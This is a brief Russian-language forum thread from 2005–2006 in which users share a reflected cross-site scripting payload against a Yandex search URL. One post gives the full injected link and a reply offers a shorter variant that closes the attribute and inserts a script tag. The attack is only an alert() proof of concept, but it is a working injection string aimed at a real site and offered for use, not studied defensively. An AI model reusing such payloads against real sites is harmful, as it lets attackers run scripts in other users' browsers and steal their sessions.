мдамс... новый год:
http://www.yandex.ru/yandsearch?b_id=xaxa"><script>alert('XAXA')</script><a%20s="
D1mOn
31.12.2005, 22:21
есть такое дело)))
Dronga
01.01.2006, 15:34
Красиво конечно, но слишком много лишнего. Работает и вот так:"><script>alert('XAXA')</script>И по-моему эта xss уже давно на паблике, но не уверен. ZaCo молодец как всегда)